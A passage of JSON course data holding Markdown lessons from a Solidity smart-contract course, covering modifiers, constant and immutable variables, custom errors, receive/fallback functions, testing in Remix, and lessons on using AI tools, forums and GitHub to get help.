"l7VMTCFgQsY7myOEW1Lgc3iIBTXQ7H7BZfIVC013qJ9k", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/20-modifiers/+page.md", + "markdownContent": "---\ntitle: Modifiers\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn an earlier lesson, we looked at Solidity and how to create smart contracts on the Ethereum blockchain. One of the most useful aspects of Solidity, especially when dealing with functions that should only be called by a certain administrator or contractor, are its modifiers. In this piece, we are going to dive deep into how modifiers can simplify our code and boost productivity.\n\n## The Problem with Repeated Conditions\n\nLet's imagine we have a smart contract full of administrative functions; these functions should only be executed by the contract owner. The straightforward way to achieve this is by adding a condition to every function to check whether the caller (message sender) is the owner:\n\n```js\nrequire(msg.sender == owner, \"Sender is not owner\");\n```\n\nHowever, having to copy and paste this line of code in every function is a surefire way to clutter our contract, making it more difficult to read, maintain, and debug. What we need is a technique or tool to bundle up this common functionality and apply it to our functions when necessary. This is where Solidity's modifiers come into play.\n\n## Introducing Solidity Modifiers\n\nA modifier in Solidity allows us to embed functionality easily and quickly within any function. They are like regular functions but are used to modify the behavior of the functions in our contract. Let’s create our first modifier.\n\nHere is how we create a modifier:\n\n```js\nmodifier onlyOwner {\n require(msg.sender == owner, \"Sender is not owner\");\n _;\n}\n```\n\n**Note**: The modifier's name is 'onlyOwner', mimicking the condition it checks. There's also this weird underscore (`_`) sitting right there in our code.\n\n### Understanding the `_` (Underscore) in Modifiers\n\nThe underscore in the modifier signifies where the remaining code of our function will execute. So if you stick it right after the `require` statement, your function's logic will run only if the `require` condition is met.\n\nHere's an example of how we can apply the `onlyOwner` modifier to our contract's `withdraw` function:\n\n```js\nfunction withdraw(uint amount) public onlyOwner {}\n```\n\nNow when `withdraw` is called, the smart contract checks the `onlyOwner` modifier first. If the `require` statement in the modifier passes, the rest of the function's code is then executed. We can see how this not only streamlines our code, but also enhances visibility of function behaviours.\n\n## The Order of Underscores in Modifiers\n\n\n\nFor instance, assuming that all the necessary conditions in our `onlyOwner` modifier have been met, if we had the underscore above the `require` statement, the contract executes the `withdraw` function's code first before executing the `require` statement.\n\n## Summary\n\nIn essence, modifiers offer a smart and effective way of handling preconditions in our functions, without having to repeat lines of code. Now, the next time you find yourself having to copy, paste, and check the same line of conditions in multiple functions, consider using a modifier instead- because the best developers, they never work harder, they work smarter.\n\nIn upcoming lessons, we'll look into advanced modifier usages and explore more ways to optimize our smart contract code. Stay tuned!\n", + "updates": [] + }, + { + "lessonId": "a47d88b5-9ca7-49b4-bcde-eca953f80e67", + "number": 21, + "title": "Test the smart contract without a testnet", + "slug": "testnet-demo", + "folderName": "21-testnet-demo", + "description": "A guide to testing Solidity contracts without deploying to a testnet, focusing on compiling, deploying, and interacting with the 'FundMe.sol' contract. The lesson includes steps for using MetaMask, tracking transactions, and ensuring successful contract interaction.", + "duration": 6, + "videoUrl": "wnewZ2y9H6gLCpO92kg701vJiTeUm9naFuo01k5WO97LA", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/21-testnet-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn this lesson, we'll explore end-to-end testing of a Solidity contract deployment and execution without actually deploying to a testnet. However, if you wish to follow along and deploy on a testnet, feel free to do so.\n\n## Getting Started\n\nFirst off, let's compile our `FundMe.sol` Solidity contract to check if our code is correct. If any contracts were deployed previously, delete them so that you can start fresh.\n\n\n\nNow, set the **injected provider** to MetaMask and check if it's synced to the correct testnet. Validate that you have some ether (ETH) available in your wallet for testnet transactions.\n\n\n\n## Locating and Selecting the Contract\n\nNext, we'll navigate to our contract area to identify the correct contract we wish to deploy. If you attempt to deploy an interface, an alert message like, _\"This contract might be abstract\"_ will pop up. However, we'll be deploying the `FundMe` contract. Hit deploy and confirm in MetaMask.\n\nNote that the contract's deployment might take some time, which you can track in the terminal.\n\n## Contract Interaction\n\nUpon successful deployment, you'll find several buttons to interact with your Solidity contract:\n\n- Red button for payable function `fund`\n- Orange button for non-payable withdrawing function\n- Blue buttons for `view` and `pure` functions\n\nThe fund button allows us to send ETH to the contract, the `owner` of the contract is our MetaMask account since we deployed this contract. The minimum value will be set to 5 USD.\n\nYou can call the `fund` function, provided you send some ETH along with it. If called without any value, you will encounter a gas estimation error, indicating insufficient ETH.\n\n```\nWarning: The fund() function encounter a gas estimation error, hinting that you might not have sent enough ETH along with your transaction!\n```\n\nAvoid wasting gas by cancelling the transaction and providing a sufficient amount.\n\n## Ensuring Successful Transaction\n\nSet the amount to 0.1 ETH (or an amount equivalent to the minimum USD amount) and hit confirm on MetaMask. You can track the transaction on etherscan.\n\nFollowing your transaction's successful processing, you'll see the contract’s balance increase by the set value. The `funders` array will register your address, and the mapping `addressToAmountFunded` will reflect your transaction.\n\nYou can check these changes in the ether scan transaction log, which will show the `fund` function call.\n\n## Withdraw Function and Errors\n\nNext, you can initiate the `withdraw` function to reset the mapping and the array. However, keep in mind that our contract set-up only permits the owner to withdraw.\n\nIf a non-owner account tries to withdraw, you will encounter another gas estimation error, indicating that the sender is not an owner. So, we revert to the owner account and initiate a successful withdrawal. Again, this can be tracked in the terminal.\n\nUpon successful withdrawal, the balance resets to zero. Additionally, the `funders` array and mapping also reset to their initial zero states. Attempting to call `addressToAmountFunded` with the same address returns zero.\n\n## Advanced Solidity Concepts\n\nRemember, the following section explores more sophisticated attributes of Solidity. Don't worry if you find difficulty understanding it the first time. Mastery of these concepts isn't necessary to continue.\n\nYou may remember that earlier editions of this tutorial deployed to the Rinkeby testnet, while latest versions encourage deployment to the Sepolia testnet or the most contemporary testnet. Alternatively, you can follow along without deploying to a testnet.\n\nIn this section, we'll explore advanced Solidity pieces focused on efficient gas usage, coding practices that make your code cleaner, and improving overall coding practices. You'll want to pay close attention to these concepts if you aim to excel as an Ethereum Smart Contract coder.\n\nAlways remember that when we refer to the JavaScript VM, we mean the Remix VM. Stay tuned for more fun and learning with Solidity in subsequent posts!\n", + "updates": [] + }, + { + "lessonId": "10e8c090-dab6-499f-8f1e-0d3e1c4c8efb", + "number": 22, + "title": "Immutability and constants", + "slug": "solidity-immutability-and-constants", + "folderName": "22-immutability-and-constants", + "description": "A tutorial on optimizing Solidity smart contracts for gas efficiency using custom errors. The lesson explains the concept of custom errors and demonstrates how to use them for efficient error handling and reverts in smart contracts.", + "duration": 8, + "videoUrl": "EWzhWCqphXCIMcEuMXbRhpAz8biwdh9RSKv02AUN5XfE", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/22-immutability-and-constants/+page.md", + "markdownContent": "---\ntitle: Immutability and Constants\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nThe Solidity programming language provides tools for improving the efficiency of smart contracts. These tools can be useful when modifying existing contracts to achieve higher levels of professionalism. Although contracts might not reach an 'end to end' level of amazement, they can certainly become better. This blog post focuses on how to utilize these tools in the case of variables set only one time. We will explore this through the optimization of example variables, namely, `owner` and `minimumUSD`.\n\n## Identifying Variables for Optimization\n\nWe talk about `owner` and `minimumUSD` because once these variables are set in our contract, they never change again. Specifically, the `owner` gets set one time during our contract creation whereas the `minimumUSD` gets set one time outside of the constructor function itself. Solidity has some tools that make the process of setting these variables more gas efficient.\n\nLet's use an example contract, named `FundMe`, to illustrate this. We first compile and then deploy this contract onto a JavaScript virtual machine. Money related actions such as funding and withdrawing aren't operational since there's currently no Chainlink network on our JavaScript VM. However, that's not what we're primarily concerned with right now.\n\n## Evaluating the FundMe Contract\n\nOur concerns are twofold:\n\n1. The amount of gas required to send the contract.\n2. The gas cost required to create the contract.\n\nTo give a sense of scale, creating this contract initially costs about 859,000 gas. Throughout this lesson, we're going to learn some tricks to reduce this number.\n\n## Implementing Tricks: Constant and Immutable\n\nThe two tricks in focus today are `constant` and `immutable` keywords. The Solidity language provides these keywords to ensure that your variables remain unchanged. To understand these keywords in greater depth, consult the [Solidity documentation](https://solidity.readthedocs.io/).\n\nWe can apply the `constant` keyword to a variable that we assign once outside of a function and then never change afterwards. If it's assigned at compile time, we can add the `constant` keyword. Adding the 'constant' keyword has an additional benefit in that it prevents our variable from occupying a storage slot, thus making it easier to read.\n\n### Constant Optimization\n\nTo assess the benefits of adding the 'constant' keyword, let's contrast the gas usage between both contracts. Remarkably, applying the 'constant' keyword results in a saving of approximately 19,000 gas. This reduction is of the order of the gas cost necessary to send Ethereum. However, keep in mind that naming conventions for 'constant' variables usually involve all caps with underscores (e.g. `MINIMUM_USD`).\n\nA little experiment to corroborate this: if we remove the 'constant' keyword and repeat all actions, the system indeed shows higher gas cost for non-'constant' variables. This might not make much difference in cheaper chains but for expensive chains like Ethereum, it's going to be significant.\n\n- As an aside, to convert gas cost to actual monetary terms, you can take the current gas price of Ethereum and multiply this by the cost of calling our 'minimumUSD'.\n\n\n\n### Immutable Optimization\n\nWhile 'constant' variables are assigned outside of a function, 'immutable' keyword can be used in case we want to assign a variable within a function, but only once. A good practice for specifying 'immutable' variables is prefixing the variable with 'I\\_' (e.g. `i_owner`).\n\nFor our 'owner' variable, we can't set it in the global scope because no function is executing there. However, in functions, there's a message sender. So, we set `i_owner` to message sender within the function. We then modify our 'Require' statement in the contract to check against `i_owner` instead of 'owner'.\n\nComparing the gas usage after making 'owner' an 'immutable' variable, we observe savings similar to the 'constant' case.\n\n## Wrapping up and looking forward\n\nThese small gas optimization tricks will make a world of difference in running smart contracts. However, as you're learning Solidity, don't fret about making your contracts as gas efficient as possible from the get-go. As you become more seasoned and grasp Solidity efficiently, you can revisit and work on gas optimization.\n\n\n\nOptimized contracts store variables directly into the bytecode of the contract instead of storing them inside a storage slot. The implications of this fact will unfold more clearly as you grow in your Solidity journey, so stay tuned!\n", + "updates": [] + }, + { + "lessonId": "76e2a14f-a694-430a-80bb-b5189b7186ec", + "number": 23, + "title": "Creating custom errors", + "slug": "solidity-custom-errors", + "folderName": "23-custom-errors", + "description": "A tutorial on optimizing Solidity smart contracts for gas efficiency using custom errors. The lesson explains the concept of custom errors and demonstrates how to use them for efficient error handling and reverts in smart contracts.", + "duration": 3, + "videoUrl": "UI59x5fBKBH00mnEfg0213ueWQPok2xxQtMhnsHsMceFU", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/23-custom-errors/+page.md", + "markdownContent": "---\ntitle: Custom Errors\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n## Optimizing Smart Contracts for Gas Efficiency Using Custom Errors\n\nHello, everyone! It's great to have you back. In this lesson, we'll be taking strides to improve the efficiency of our smart contracts. Recently, we've emphasized making our contracts more gas-efficient. Little by little, we've introduced elements of gas efficiency — something I will be explaining further as we delve deeper into the complexities of smart contracts.\n\nFor now, let's not get too bogged down in the nitty-gritty details of these gas efficiencies. If you find the details too complex, don't sweat! We will elaborate on them later.\n\n## Existing Gas Optimizations\n\nWith recent enhancements, we're able to adopt more efficient approaches with our contracts. Let's discuss our current gas optimizations and how to improve yet further.\n\n## Enhancing Efficiency: Updating Requires\n\nOne way to elevate our gas efficiency is by updating our `require` statements. As it stands, our `require` statement forces us to store this 'sender is not an owner' as a string array. When you consider how each character in this error log is stored individually, it quickly becomes apparent that the logic required to manage it all can be bulky and inefficient, especially when there is a far more gas-friendly alternative available.\n\n## Utilize Custom Errors for Reverts\n\nIntroduced with Solidity 0.8.4, we can now take advantage of custom errors for our reverts. This feature allows us to declare errors at the top of our code, and utilize `if` statements instead of `require`. All our error calls will no longer need to address the entire error message string - instead, we'll simply call the error code.\n\nLet's break this down into a practical example.\n\nInstead of using the `require` statement, we could create a custom error of our own:\n\n```js\nerror NotOwner()\n```\n\nPlease note that this definition is out of the contract's scope. With our custom error defined named 'NotOwner', we can amend our 'onlyOwner' function.\n\nFirstly, we'll replace the `require` function with an `if` statement:\n\n```js\nif (msg.sender != I owner) {}\n```\n\nBy using the `revert` function with our newly-created 'NotOwner' error, we replace the necessity for the error string.\n\n```js\nrevert NotOwner();\n```\n\nThis strategy saves us resources as we no longer need to store or emit an extensive string, and instead, rely on the much more efficient error code.\n\nPlease bear in mind, this less efficient coding style is still prevalent as custom errors are relatively new to Solidity. Hence, becoming proficient in both methods will prove beneficial.\n\n\n\nWhile the current syntax is more abundant, I anticipate, as the shorthand syntax gains popularity, we will see a shift towards the more legible and compact style.\n\n## The Power of Revert\n\nThe \"revert\" keyword performs the same function as `require`, but it doesn't need a conditional statement beforehand. Therefore, it provides an efficient way to revert any transaction or function call midway through the function call.\n\nImproving our require statement is just one way to increase gas efficiency. We could convert all of our require statements to this more efficient form, but I'll leave some in their original state in this post to illustrate both methods.\n\nStay tuned for more posts where we delve deeper into the finer details of Solidity and its best practices.\n", + "updates": [] + }, + { + "lessonId": "e1882df5-5415-4d86-b1d5-5aa6875f35c7", + "number": 24, + "title": "Implementing the receive fallback", + "slug": "receive-fallback", + "folderName": "24-receive-fallback", + "description": "This lesson covers the implementation of '_receive_' and '_fallback_' functions in Solidity. It explains their significance in handling Ether sent directly to a contract and demonstrates their practical application in a 'FundMe' contract scenario.", + "duration": 13, + "videoUrl": "hi9h3yO003dRo7pbzK2F02i01ObtblVRcJo8gQbjDB1yys", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/24-receive-fallback/+page.md", + "markdownContent": "---\ntitle: Receive & Fallback\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn Solidity, a hurdle can arise when users send Ether directly to a contract without passing through necessary function calls. This lesson provides a step-by-step guide on how to mitigate this issue using Solidity's special functions, namely `_receive_` and `_fallback_`.\n\nTo illustrate, take a contract that requires funding. Without passing through the specified function calls (e.g., the \"fund\" function), the contract would not track the funder nor update their details. If the contract aimed to reward funders, those who funded directly, bypassing the necessary function calls, would be overlooked. This lack of tracking could be whether the user misdialed the function or did not use a tool that notifies on probable transaction failure. But there is a solution — the _receive_ and _fallback_ functions.\n\n## Special Functions in Solidity\n\nTwo special functions in Solidity allow the triggering of certain code when users send Ether directly to the contract or call non-existent functions. These are the _receive_ function and the _fallback_ function. They cannot have arguments and don't return anything, thus needing external visibility and payable state mutability.\n\nIn simple terms, they are coded as follows:\n\n```js\nreceive() external payable { }\nfallback() external payable { }\n```\n\nTo experiment with this, let's create a separate contract.\n\n```js\n//SPX-License-Identifier: MIT\npragma solidity ^0.8.7;\ncontract FallbackExample {\n uint256 public result;\n receive() external payable {\n result = 1;\n }\n}\n```\n\nIn this contract, `result` is initialized to zero. Upon sending Ether to the contract, the `receive` function is triggered, hence `result` equals one.\n\nFor an added twist, we can code the contract to call a non-existent function upon sending Ether.\n\n```js\nfallback() external payable {result = 2;}\n```\n\nWith data in the transaction, the `receive` function isn't triggered. Instead, the contract seeks a matching function for the data input without finding one. Consequently, it defers to the `fallback` function. Hence, `result` equals two.\n\nAs an aside, the `fallback` function is also triggered when a contract is called with no valid function.\n\nThese two functions are brilliantly elucidated in a chart on SolidityByExample.org [here](https://solidity-by-example.org/fallback/).\n\n## Application on FundMe Contract\n\nWith this understanding, let's consider how to apply the special functions to our FundMe contract to ensure that every funder is tracked.\n\n```js\nreceive() external payable {\n fund();\n}\nfallback() external payable {\n fund();\n}\n```\n\nIn the event of a user sending Ether directly to the contract, instead of calling the `fund` function, the `receive` function picks it up and re-routes the transaction to `fund`.\n\n\n\nTest our updated FundMe contract on Sepolia, a 'real' testnet, substituting your contract's address:\n\nCopy the contract's address and send some Ether to it via MetaMask. On confirming the transaction, we should ideally see that the 'fund' function is being called.\n\nChecking back at Remix, the `funders` array will update to reflect the successful transaction. This signifies that the `receive` function rerouted the funding to the `fund` function properly.\n\nThis workaround ensures all transactions - correct or misdialed - are processed in the intended manner. Although a direct call to the `fund` function costs less gas, the user's contribution is acknowledged and credited.\n\nThanks for reading! Keep learning and we'll see you in the next lesson.\n", + "updates": [] + }, + { + "lessonId": "84d77e62-a910-4104-a981-77dbf5887722", + "number": 25, + "title": "Congratulations", + "slug": "recap-congratulations-fundme", + "folderName": "25-recap-congratulations", + "description": "A recap of the advanced aspects of Solidity covered in previous lessons, highlighting the transition from using Remix to a code editor. The lesson congratulates learners on mastering Solidity basics and introduces upcoming advanced topics for further exploration.", + "duration": 3, + "videoUrl": "01i3hlzOJ4XznjNg9fSHpottSOdxwnSN101EyzMUzzebU", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/25-recap-congratulations/+page.md", + "markdownContent": "---\ntitle: Recap & Congratulations\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nWe've ventured into the advanced realm of Solidity, and it has been an enlightening journey, to say the least. Brace yourselves, because we're about to dig deeper. However, we're not using Remix this time around. We are migrating to a code editor for a more comprehensive view and working process of Solidity. And as we transition into advanced sections, let's pat ourselves on the back for mastering the majority of Solidity basics!\n\nBut do not rest on your laurels just yet, there's a whole ocean of knowledge still waiting to be explored.\n\n## Advanced Sections of Solidity\n\nThere's plenty to learn still, starting from `enums` `event_`, `try/catch` `function selectors`, and `abi encoding hashing`. It may seem daunting at first, but if you've made it this far, chances are, you can already decipher most Solidity code. Great job!\n\nBut for now, let’s summarize some of the advanced aspects we've come across.\n\n## Special Functions in Solidity\n\nIn the dazzling sphere of Solidity, we have some special functions, namely `receive`, `fallback`, and `constructor`.\n\nThese unique functions don't need the `function` keyword to be called.\n\n```js\nfunction receive() external payable { }\n```\n\nBoth `receive` and `fallback` are unique. They come into play when data is sent through a transaction, but no function was specified. Here, the transaction will default to the fallback function, provided it exists.\n\nAnd, if this data is empty and there's a `receive` function, the transaction will call this function instead.\n\n## Saving Gas with Keywords\n\nIn an era of rising gas prices, Solidity offers a couple of handy keywords like `constant` and `immutable` to help you save gas.\n\nThese keywords are for variables that can only be declared and updated once. A perfect example is:\n\n```js\nuint constant minimumUSD = 50 * 1e18;\n```\n\nIn this case, `minimumUSD` can never be changed again, thus saving gas.\n\nWhile similar to `constant`, `immutable` differs in allowing one-time variable declaration within the `constructor`. After declaration, the variable cannot be changed.\n\nAttempts to update either `constant` or `immutable` variables will be met with compiler errors explicitly stating they cannot be written to.\n\n## Sending Ether with Remix\n\nRemix provides a simple way to send Ether to a contract on the JavaScript virtual machine. Simply deploy the contract, then press the `transact` button without any call data while updating the transaction's value. A lack of call data will trigger the `receive` function (if it exists); otherwise it will set off the `fallback` function.\n\n\n\nAs we delve deeper into the advanced features of Solidity, there's much more to explore. Here's to unraveling the ins and outs of Solidity, and celebrating more milestones together on our coding journey!\n\nCongratulations again for making it this far! You're doing great!\n", + "updates": [] + } + ] + }, + { +"sectionId": "f351e657-b163-4a72-9642-680aea1ad239", + "number": 4, + "title": "AI Prompting", + "slug": "ai-prompting", + "folderName": "4-ai-prompting", + "lessons": [ + { + "lessonId": "8bf2aad7-26e9-4950-9c37-c7991d8fd579", + "number": 1, + "title": "AI and forums", + "slug": "ai-and-forums", + "folderName": "1-ai-and-forums", + "description": "A lesson on using AI tools like Chat GPT, Bing's AI, and Google's BERT for debugging in software engineering. It covers the importance of understanding errors, writing clear instructions for AI, and the limitations of AI in debugging. The lesson also emphasizes the significance of documentation and online forums for resolving coding issues.", + "duration": 13, + "videoUrl": "uUi007zUap15KAtCmh59kFbRxxcHy01RQjOxHG101VVUoA", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/1-ai-and-forums/+page.md", + "markdownContent": "---\ntitle: AI prompting and Forums\n---\n\n_Follow along the course with this video._\n\nThe barrier for entry into the world of software and blockchain engineering is smaller than ever. Inevitably we're going to run into problems while coding and knowing where and how to find solutions is an extremely valuable skill.\n\nHere are the exact 6 steps to solve any problem you may face.\n\n1. Tinker\n2. Ask Your AI\n3. Read Docs\n4. Web Search\n5. Ask in a Forum\n6. Ask on the Support Forum or GitHub\n7. Iterate\n\nLets go through them.\n\n### Tinker\n\nPinpoint your error, review your code manually making small adjustments you suspect may resolve the issue. Pinpointing the error in your code will help you frame your question/prompt in the next step.\n\n\n\n### Ask Your AI\n\nThere are several AI models available these days, each with their pros and cons. Here are a few to consider.\n\n- [**ChatGPT**](https://chat.openai.com) - The OG. This model offered by OpenAI is robust, multi-modal, includes code interpretion and can browse the web. The best quality unfortunately comes from the paid version.\n- [**Phind**](https://www.phind.com/search?home=true) - This is a programming focused model with intuition allowing it to proactively ask questions to clarify assumptions. Can also browse the web, and has a VS Code extension!\n- [**Copilot**](https://www.microsoft.com/en-us/edge/features/copilot?form=MA13FJ) - formerly `Bing Chat`, and not to be confused with the IDE AI assistant, Copilot is rapidly becoming Microsoft's whole ecosystem response to the age of AI\n- [**Google Bard**](https://bard.google.com/) - ehhhhh - results may vary.\n\nThere are `6 principles` to prompt engineering to get the best out of your AI.\n\n- **Principle 1:** Write clear and specific instructions\n- **Principle 2:** Give as much context as possible\n- **Principle 3:** Use delimiters to clearerly indicate distinct parts of the input\n- **Principle 4:** Look out for `hallucinations`\n- **Principle 5:** Understand the limitations of the model - many have strict context token limits (though this is rapidly changing)\n- **Principle 6:** Iterate constantly\n\n> Hallucinations are when an AI provides a response that it thinks is correct, but is wrong. These can be hard to spot and require a little experience to call out.\n\nAsking questions is a skill, so keep practicing. There's a great free course at [**learn.deeplearning.ai**](https://learn.deeplearning.ai/) that can help software engineers become better prompt engineers.\n\n### Read Docs\n\nIf a problem is occuring with a particular implementation, framework, language - whatever - you can almost always read the documentation for further insight and examples of how to accomplish your goals.\n\n> You can even use AI to help you here by copying docs as context into a model like ChatGPT and asking questions to it\n\n### Web Search\n\nSomething many AIs are lacking is the ability to retrieve up to date information, or they're limited by not having access to the web. This is where good ol' fashioned web search comes in.\n\nIf you're running into an issue, it's highly likely someone else has to, and search engines like Google have already indexed these questions to serve their answers to you.\n\n> Note: AI Models are advancing rapidly and many models as of Dec 2023 also include web search.\n\n### Ask in a Forum\n\nSometimes the information we need just isn't out there and we're forced to interact with _human beings_\n\nWe always want to ask our questions in a web-indexed forum which will allow search engines and future AI models to index this new information. A few examples are:\n\n- [**Ethereum Stack Exchange**](https://ethereum.stackexchange.com/) - a community-driven question-and-answer platform dedicated to Ethereum, and blockchain technology\n- [**Stack Overflow**](https://stackoverflow.com/) - online platform that facilitates knowledge exchange and problem-solving within the global programming and software development community\n- [**Peerhana**](https://peeranha.io) - Peeranha is a decentralized knowledge sharing platform built on web3 technology, particularly blockchain\n- [**Reddit**](https://www.reddit.com/) - Reddit is a widely popular and diverse social media platform that serves as a hub for online communities, discussions, and content sharing\n\nQuestions asked on Discord and Twitter are likely to get buried in their conversational chaos and will never be indexed, so use these avenues sparingly.\n\n> The super secret alpha is to post your question on a forum like Stack Exchange, then link to that question in your Discord message!\n\nAlways remember to format your questions using markdown when appropriate.\n\n### Ask on the Support GitHub or Forum\n\nIf the tool you're using isn't open source - maybe reconsider how necessary it is! Haha\n\nOpen source projects on GitHub allow people to submit improvements and raise issues, this is how we improve our code.\n\n### Iterate\n\nRepeat the above steps again and again.\n\n### General Tips\n\nThe above are a number of effective steps to overcome issues you'll have while learning. Here are a few additional general tips to keep in mind:\n\n1. **Limit self-triage to 15/20 minutes** - don't force yourself to struggle through solving an issue alone. There are countless tools available to assist in focusing on where the error is and how to solve it\n2. **Don't be afraid to ask AI, but don't skip learning** - AI is going to `hallucinate` it's going to get things wrong. It's only by learning and understanding the underlying concepts that someone will be able to spot these errors and inconsistencies\n3. **Use the Forums!!!** - Asking questions in the GitHub discussions and on forums is a great way to find support - and helping others with their problems is a great way to reinforce what you've learnt\n4. **Google the exact error** - A problem you're having is likely to have been faced by someone else. Leverage search engines to find past solutions\n5. **Make Accounts on Stack Exchange and Peeranha** - These communities are invaluable to assist with Web3 software engineering and coding problems. Use them.\n6. **Post Issues on GitHub/Git** - Interacting with the community is an integral part of the Web3 and software development communities. Open source projects allow the submission of `Issues` and `Pull Requests` on GitHub. Be respectful, but if you're unable to find answers, or believe you're hitting a bug in a protocol - creating issues is a great way to bring these problems to a project's attention.\n\n> Be sure to search for already open issues before submitting a new one to an open source project\n\nIf you don't have any experience with GitHub, don't worry. Our next lesson will be going over the set up of an account to get you started.\n\nAnd, as ChatGPT would say \"Keep hopping through the code, and until next time, stay ribbeting, my fellow blockchaineers!\" 🤦‍♂️😬\n", + "updates": [] + }, + { + "lessonId": "fa0c07d3-1169-49e7-ab1e-761b2d8645d8", + "number": 2, + "title": "Setting up Github", + "slug": "setting-up-github", + "folderName": "2-setting-up-github", + "description": "This lesson guides through the process of setting up a GitHub account, emphasizing its importance in the software development community. It discusses how to ask well-crafted questions on GitHub to engage effectively with the coding community and get helpful responses.", + "duration": 2, + "videoUrl": "Sy8tjlB6ifXrZx8016dcGuzw4fifUguJJhlU02fpdiARQ", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/2-setting-up-github/+page.md", + "markdownContent": "---\ntitle: Setting up GitHub\n---\n\n_Follow along the course with this video._\n\n---\n\nHere I'm going to walk you through the creation of a GitHub account.\n\nAsking well-formatted, articulate questions greatly enhances your chances of receiving prompt and effective answers. Many times, these communities are comprised of people who answer queries simply out of goodwill and a shared passion for the knowledge involved. Therefore, make sure your questions are well-crafted to do justice to their time and effort!\n\n\n\nA key platform to engage with these communities is GitHub. If you haven't already, now's the perfect time to activate an account. Don't skip ahead, this is imperative. Let's get started.\n\n### **Step 1: Signing Up for GitHub**\n\nGitHub is the go-to platform for developers. It offers a manageable approach to maintaining code repositories and facilitates collaborative coding and issue resolution. Setting up an account on GitHub is pretty straightforward. If you haven't already done this, you will need an email to get started.\n\n\n\nTo sign up for GitHub, just click on \"Sign up\" and enter your valid email address.\n\n\n\n## **Step 2: Account Creation**\n\nClick on \"Create account\". After registering your email on GitHub, you will receive an email with a launch code. Provide this to GitHub and answer a few preliminary questions.\n\nWhen prompted, choose the free version.\n\n\n\nAnd voila! You've created your GitHub profile.\n\n\n\n### **Moving Forward: Asking 'Great' Questions**\n\nThe following lesson is going to have a focus on question formatting. In order to get timely responses in communities like GitHub you need to be considerate of the questions you're asking and how you're asking them.\n\nDon't skip the next lesson!\n", + "updates": [] + }, + { + "lessonId": "199491e0-daaa-45e2-ac0a-d4ad722e07aa", + "number": 3, + "title": "Formatting a question", + "slug": "formatting-a-question", + "folderName": "3-formatting-a-question", + "description": "A guide on how to ask effective questions in code discussions, particularly on GitHub. It covers the importance of clear, concise, and well-formatted questions, and includes tips on using markdown for code formatting and highlighting specific errors to get better responses.", + "duration": 6, + "videoUrl": "328fVZjDMFig701DvBAFs4yGV9INkei2huUt00kacN00b4", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/3-formatting-a-question/+page.md", + "markdownContent": "---\nFormatting a Question\n---\n\n_Follow along the course with this video._\n\nHello, coders! In this lesson we'll be covering the importance of well crafted questions and how to properly format our inquires to give them the best chance of receiving a response.\n\n## Creating Discussions in GitHub\n\nAs practice, I want you to navigate to the [**GitHub discussions page**](https://github.com/Cyfrin/foundry-full-course-f23/discussions) for this course and try creating a discussion yourself!\n\n> Try to categorize your discussion appropriately. `General` for conversations and discussions, `QA` for questions.\n\n\n\n## The Art of Asking Questions\n\nWe often come across questions that are asked in a hasty and incoherent manner. Here's an example of a poorly formatted question:\n\n```\n\"Hey why my code not be good?\"\n\nquire(msg.value == entranceFee * newPlayers.length, \"PuppyRaffle: Must send enough to enter raffle\");\n for (uint256 i = 0; i < newPlayers.length; i++) {\n```\n\nWe need to be clear in describing our problem, the steps we took that got us to the problem, and explicit in any errors we're receiving.\n\nA better example would be:\n\n---\n\n\"I am receiving this error when compiling.\":\n\n```bash\nTypeError: Exactly one argument expected for explicit type conversion.\n--> PriceConvertor.sol:21:43:\n|\n21| AggregatorV3Interface priceFeed = AggregatorV3Interface()\n|\n```\n\nHere's my code:\n\n```js\nAggregatorV3Interface priceFeed = AggregatorV3Interface()\n```\n\nCould someone please help me figure out what the issue is? 🙏\n\n---\n\nQuite simply, we can take the following necessary steps while crafting our questions:\n\n1. **Describe the issue clearly and concisely** - Be clear in the problem you're facing and what steps got you there\n2. **Highlight the specific error you're experiencing** - including exact error messages can provide those helping you with valuable insight into where things went wrong\n3. **Use markdown for code formatting** - this is critical, formatting your code allows your question to be more readable and approachable for those trying to understand the problem\n4. **Share the relevant part of the code causing the issue** - only include what's relevant to your issue. Don't paste a whole contract into your question unless appropriate to do so. You can provide _too much_ information.\n\nWith a well formatted question, you're going to see a much higher rate of success in receiving help from others as well as AI.\n\n> The importance of markdown formatting cannot be stressed enough. If you're unfamiliar with markdown, don't hesitate to ask an AI like ChatGPT for advice, or to format things for you.\n\n### Wrapping Up\n\nAlways remember, there are no _`bad questions`_ but there are _`poorly formatted questions`_. Make your questions count and format them appropriately.\n\nA pillar of becoming a software engineer is being involved in these communities. Jump in and participate, ask questions and meet people. Contribution is the cornerstone of open source communities. Do your best to answer as many questions as you ask, this will reinforce your knowledge.\n\n> You don't have to be an expert to help those on the journey behind you.\n", + "updates": [] + }, + { + "lessonId": "f5b5f8d6-59cc-45ff-8704-1cf86308b2c5", + "number": 4, + "title": "Speedrun", + "slug": "speedrun", + "folderName": "4-speedrun", + "description": "An introduction to 'Speedrun Ethereum' by Austin Griffin, a resource for learning about Ethereum and the Ethereum Virtual Machine (EVM). The lesson covers various projects like creating NFTs, staking apps, and learning about on-chain randomness, and recommends using Scaffold ETH for practical learning.", + "duration": 4, + "videoUrl": "yLfCXa3ej702tbVp2f4QlW7AVGMBtXtihXO6zpCeXZlw", + "rawMarkdownUrl": "/routes/solidity/4-ai-prompting/4-speedrun/+page.md", + "markdownContent": "---\ntitle: Speedrun Ethereum\n---\n\n_Follow along the course with this video._\n\n---\n\nIn this section we're examining a resource that isn't explicitly part of this course but is highly useful in expanding your knowledge about Ethereum and the Ethereum Virtual Machine (EVM). This resource comes courtesy of my good friend Austin Griffin. Let's go over what it can do for you.\n\n\n\n### Introduction to Speedrun Ethereum w/ Austin Griffin\n\nAustin Griffin, renowned for his conspicuous bow tie, is eager to help you kickstart your journey of creating on Ethereum 